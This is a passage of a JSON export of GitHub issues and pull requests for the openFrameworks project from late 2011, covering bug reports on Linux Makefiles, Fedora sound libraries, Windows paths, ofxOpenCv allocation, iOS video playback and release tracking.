0071","labels":[],"closed_at":"2011-12-21T21:25:50Z","created_at":"2011-12-21T20:03:17Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2628968,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/848","patch_url":"https://github.com/openframeworks/openFrameworks/pull/848.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/848.diff"}},{"updated_at":"2011-12-20T21:18:29Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/847","comments":0,"milestone":null,"number":847,"html_url":"https://github.com/openframeworks/openFrameworks/issues/847","assignee":null,"title":"added change log","labels":[],"closed_at":"2011-12-20T21:18:29Z","created_at":"2011-12-20T21:12:39Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2618235,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/847","patch_url":"https://github.com/openframeworks/openFrameworks/pull/847.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/847.diff"}},{"updated_at":"2011-12-13T13:59:21Z","body":"From the forum: http://forum.openframeworks.cc/index.php/topic,8270.msg38547/\r\n> I know it must be something remarkably simple, but ever since switching to archlinux my .h file changes have not been included in my builds unless I do a 'make clean' first.\r\n\r\nInterestingly, I can reproduce this on an Ubuntu 32bit machine. Anybody else?\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/845","comments":1,"milestone":null,"number":845,"html_url":"https://github.com/openframeworks/openFrameworks/issues/845","assignee":null,"title":"Make ignores .h file changes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-12-13T13:59:21Z","created_at":"2011-12-12T08:24:45Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2520429,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-25T08:33:50Z","body":"Only add in the script of fedora to install libmpg123-devel.\r\nI can't run the example \"soundPlayerExample\" without this library,\r\nneed to compile again for works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/844","comments":15,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":844,"html_url":"https://github.com/openframeworks/openFrameworks/issues/844","assignee":null,"title":"libmpg123-devel need to read mp3 in fedora","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":"2012-05-25T08:12:48Z","created_at":"2011-12-11T20:32:32Z","state":"closed","user":{"url":"https://api.github.com/users/nosoyhector","gravatar_id":"23a8f80f17180ec435bdd61f192e8e14","login":"nosoyhector","avatar_url":"https://secure.gravatar.com/avatar/23a8f80f17180ec435bdd61f192e8e14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1255975},"id":2517403,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-15T18:53:29Z","body":"when opening a file, setting binary to true doesn't do anything","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/842","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":842,"html_url":"https://github.com/openframeworks/openFrameworks/issues/842","assignee":null,"title":"ofFileUtils line 207 ignores binary flag","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"closed_at":"2012-03-15T18:53:29Z","created_at":"2011-12-09T20:54:24Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":2506806,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-11T15:16:15Z","body":"little fix to solve problems with paths in windows\r\n\r\ntested on osx (no issues on a complex project with these changes applied)\r\ntested on windows (removes all my issues with paths for this project)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/841","comments":9,"milestone":null,"number":841,"html_url":"https://github.com/openframeworks/openFrameworks/issues/841","assignee":null,"title":"fixes to path in windows (otherwise lots of problems)","labels":[],"closed_at":"2011-12-11T15:16:15Z","created_at":"2011-12-09T08:53:53Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":2499537,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/841","patch_url":"https://github.com/openframeworks/openFrameworks/pull/841.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/841.diff"}},{"updated_at":"2012-03-16T17:31:50Z","body":"right now if you do \r\n\r\nofxCvColorImage color; \r\ncolor = pixRef;\r\n\r\nyou get a nasty crash because you didn't call allocate first. \r\nofImage allocates as needed and ofxOpenCv should too. \r\n\r\nThere is of course some issues to do with ROIs but if the image width is 0 thats a no brainer. \r\nAlso if the current ROI or current cv image is larger than the input it makes sense to either reallocate or do a smart roi based copy. \r\n\r\neither way we need to get rid of crashes relating to allocate not being called - it is just no fun. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/839","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":839,"html_url":"https://github.com/openframeworks/openFrameworks/issues/839","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"ofxOpenCv should do smarter allocation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-16T17:31:50Z","created_at":"2011-12-07T17:10:00Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":2477055,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T19:48:21Z","body":"According to GH support, it's not possible to assign a milestone to a PR (only to the issue a PR references). Therefore, I put all currently opened pull requests into this bug and milestone it to 0071. When we have dealt with those (one way or the other) then we could start preparing a 0071 release, according to http://forum.openframeworks.cc/index.php/topic,7869.0.html.\r\n\r\n~~#307 - Automake build files - to help with clean src tarball and install~~\r\n~~#562 - Re-enabled MoviesTask in ofQuickTimePlayer~~\r\n#576 - Generic armv7l Linux build for Beagleboard &co. \r\n~~#637 - ofQuicktimeSoundPlayer~~\r\n~~#708 - Bugfix 3d model loader normals~~\r\n~~#709 - opencv2.3~~\r\n~~#726 - added ofDrawGrid to complement ofDrawAxis. added 'get' accessors to ofCam~~\r\n~~#792 - Bugfix autoreleasepool\r\n~~#794 - Windows compatibility patches for the oF Develop branch~~\r\n~~#907 - A GLUT-based solution for keeping track of modifier keys~~\r\n~~#808 - Feature of sound player get volume~~\r\n~~#809 - Feature of sound stream~~\r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/835","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":835,"html_url":"https://github.com/openframeworks/openFrameworks/issues/835","assignee":null,"title":"PR tracking issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-02-25T19:48:21Z","created_at":"2011-12-03T15:36:47Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2437711,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T15:54:54Z","body":"Fixed Linux OF Codeblocks projects, including Makefiles that weren't cleaning properly.\r\nThe codeblocks projects hadn't been updated to the latest files.\r\nMakefile clean was not working at the command-line, and was also using uppercase 'Clean' instead of lowercase 'clean', causing codeblocks to spew","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/834","comments":6,"milestone":null,"number":834,"html_url":"https://github.com/openframeworks/openFrameworks/issues/834","assignee":null,"title":"Linux OF codeblocks project fixes - Fixes #830 ","labels":[],"closed_at":"2011-12-03T15:11:54Z","created_at":"2011-12-03T13:47:33Z","state":"closed","user":{"url":"https://api.github.com/users/pierrep","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":392160},"id":2437367,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/834","patch_url":"https://github.com/openframeworks/openFrameworks/pull/834.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/834.diff"}},{"updated_at":"2012-02-25T19:37:25Z","body":"General version of #294. all instances of printf to console in the code should be replaced by ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/833","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":833,"html_url":"https://github.com/openframeworks/openFrameworks/issues/833","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"title":"Replace printf() occurences by ofLog()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-02-25T19:37:25Z","created_at":"2011-12-03T10:44:36Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2436827,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T11:51:28Z","body":"Also reenabled createProjects.py script as executable.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/832","comments":2,"milestone":null,"number":832,"html_url":"https://github.com/openframeworks/openFrameworks/issues/832","assignee":null,"title":"Fixed OF codeblocks projects for Linux that needing updating.","labels":[],"closed_at":"2011-12-03T11:51:28Z","created_at":"2011-12-03T10:38:34Z","state":"closed","user":{"url":"https://api.github.com/users/pierrep","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":392160},"id":2436814,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/832","patch_url":"https://github.com/openframeworks/openFrameworks/pull/832.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/832.diff"}},{"updated_at":"2011-12-03T15:11:52Z","body":"Both 32 and 64 codeblocks project for the OF library are out of date....I'm sure the Makefile works though.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/830","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":830,"html_url":"https://github.com/openframeworks/openFrameworks/issues/830","assignee":null,"title":"Linux OF codeblocks projects broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-12-03T15:11:52Z","created_at":"2011-12-03T08:18:47Z","state":"closed","user":{"url":"https://api.github.com/users/pierrep","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":392160},"id":2436472,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-28T14:36:24Z","body":"Dummy issue to ensure that the 0071 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/828","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":828,"html_url":"https://github.com/openframeworks/openFrameworks/issues/828","assignee":null,"title":"0071 Release tracking issue","labels":[],"closed_at":"2012-05-28T14:36:24Z","created_at":"2011-12-02T16:28:33Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429869,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:30:10Z","body":"Seems some replacements were overlooked when introducing OF_ROOT. It's actually OK in master, but this way you don't have to merge master into develop to fix this.\r\nThis closes #826.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/827","comments":3,"milestone":null,"number":827,"html_url":"https://github.com/openframeworks/openFrameworks/issues/827","assignee":null,"title":"Correct missing OF_ROOT occurences in develop","labels":[],"closed_at":"2011-12-02T15:26:27Z","created_at":"2011-12-02T09:56:06Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2425573,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/827","patch_url":"https://github.com/openframeworks/openFrameworks/pull/827.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/827.diff"}},{"updated_at":"2011-12-02T15:29:20Z","body":"This line makes error.\r\n\r\nLIB_STATIC += $(OF_ROOT)/libs/poco/lib/$(LIBSPATH)/libPocoNet.a ../../../libs/poco/lib/$(LIBSPATH)/libPocoXML.a ../../../libs/poco/lib/$(LIBSPATH)/libPocoUtil.a ../../../libs/poco/lib/$(LIBSPATH)/libPocoFoundation.a\r\n\r\nIt has to change below\r\n\r\nLIB_STATIC += $(OF_ROOT)/libs/poco/lib/$(LIBSPATH)/libPocoNet.a $(OF_ROOT)/libs/poco/lib/$(LIBSPATH)/libPocoXML.a $(OF_ROOT)/libs/poco/lib/$(LIBSPATH)/libPocoUtil.a $(OF_ROOT)/libs/poco/lib/$(LIBSPATH)/libPocoFoundation.a\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/826","comments":3,"milestone":null,"number":826,"html_url":"https://github.com/openframeworks/openFrameworks/issues/826","assignee":null,"title":"Makefile error in linux","labels":[],"closed_at":"2011-12-02T15:29:20Z","created_at":"2011-11-30T11:59:40Z","state":"closed","user":{"url":"https://api.github.com/users/donghee","gravatar_id":"b534a5f5d851e45bb4f94348b45f094c","login":"donghee","avatar_url":"https://secure.gravatar.com/avatar/b534a5f5d851e45bb4f94348b45f094c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":91220},"id":2400551,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-11-28T17:36:00Z","body":"Per this discussion http://forum.openframeworks.cc/index.php/topic,8123.0.html added glutEntryFunc callbacks. Pretty simple, but maybe helpful to someone else.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/824","comments":1,"milestone":null,"number":824,"html_url":"https://github.com/openframeworks/openFrameworks/issues/824","assignee":null,"title":"added GLUT window entry callbacks","labels":[],"closed_at":"2011-11-28T17:35:42Z","created_at":"2011-11-28T17:32:27Z","state":"closed","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2370726,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/824","patch_url":"https://github.com/openframeworks/openFrameworks/pull/824.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/824.diff"}},{"updated_at":"2011-11-28T17:31:06Z","body":"\r\nPer this discussion http://forum.openframeworks.cc/index.php/topic,8123.0.html added glutEntryFunc callbacks. Pretty simple, but maybe helpful to someone else.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/823","comments":5,"milestone":null,"number":823,"html_url":"https://github.com/openframeworks/openFrameworks/issues/823","assignee":null,"title":"added GLUT window entry callbacks","labels":[],"closed_at":"2011-11-28T17:05:23Z","created_at":"2011-11-28T17:02:55Z","state":"closed","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2370049,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/823","patch_url":"https://github.com/openframeworks/openFrameworks/pull/823.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/823.diff"}},{"updated_at":"2012-05-28T15:44:40Z","body":"Testing out the moviePlayerExample.xcodeproj\r\nWorks fine in the 4.3 Simulator\r\n\r\nBut running it on 5.0 Simulator/on my iPad 2, the videos are all just black. \r\nThe getPixel circle thing still seems to work fine though. \r\n\r\nPretty new to OF maybe I'm doing something wrong.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/820","comments":46,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":820,"html_url":"https://github.com/openframeworks/openFrameworks/issues/820","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofVideoPlayer bug with iOS 5","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-05-23T13:58:05Z","created_at":"2011-11-23T09:39:59Z","state":"closed","user":{"url":"https://api.github.com/users/everythingoriginal","gravatar_id":"4463e6f9ef6b5aae32380a32f835fcf3","login":"everythingoriginal","avatar_url":"https://secure.gravatar.com/avatar/4463e6f9ef6b5aae32380a32f835fcf3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":527628},"id":2328003,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-11-21T11:23:00Z","body":"the ofVideoGrabber switches between using the internal texture and the Video Grabber suppplied one.\r\n\r\nWorking towards having ofxQTKitVideoPlayer work within the oF core code better\r\n\r\nSigned-off-by: obviousjim ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/817","comments":1,"milestone":null,"number":817,"html_url":"https://github.com/openframeworks/openFrameworks/issues/817","assignee":null,"title":"More consistent support of ofTexture* playerTex in ofVideoGrabber","labels":[],"closed_at":"2011-11-21T11:21:44Z","created_at":"2011-11-20T20:53:17Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2299304,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/817","patch_url":"https://github.com/openframeworks/openFrameworks/pull/817.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/817.diff"}},{"updated_at":"2011-11-20T15:46:34Z","body":"/Volumes/MacData/Dependencies/openframe/libs/openFrameworks/video/ofQuickTimePlayer.cpp\r\n'DisposeGWorld' was not declared in this scope\r\n'GetGWorldPixMap' was not declared in this scope\r\n'LockPixels' was not declared in this scope\r\n'SetGWorld' was not declared in this scope\r\n'DisposeGWorld' was not declared in this scope\r\nfile://localhost/Volumes/MacData/Dependencies/openframe/libs/openFrameworks/video/ofQuickTimePlayer.cpp: error: Semantic Issue: Use of undeclared identifier 'DisposeGWorld'\r\nfile://localhost/Volumes/MacData/Dependencies/openframe/libs/openFrameworks/video/ofQuickTimePlayer.cpp: error: Semantic Issue: Use of undeclared identifier 'GetGWorldPixMap'\r\nfile://localhost/Volumes/MacData/Dependencies/openframe/libs/openFrameworks/video/ofQuickTimePlayer.cpp: error: Semantic Issue: Use of undeclared identifier 'SetGWorld'\r\nfile://localhost/Volumes/MacData/Dependencies/openframe/libs/openFrameworks/video/ofQuickTimePlayer.cpp: error: Semantic Issue: Use of undeclared identifier 'DisposeGWorld'\r\n/Volumes/MacData/Dependencies/openframe/libs/openFrameworks/video/ofQuickTimeGrabber.cpp\r\n'MacSetRect' was not declared in this scope\r\n'GetGWorldPixMap' was not declared in this scope\r\n'LockPixels' was not declared in this scope\r\n'SetGWorld' was not declared in this scope","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/816","comments":1,"milestone":null,"number":816,"html_url":"https://github.com/openframeworks/openFrameworks/issues/816","assignee":null,"title":"can't build deployExamples in xcode 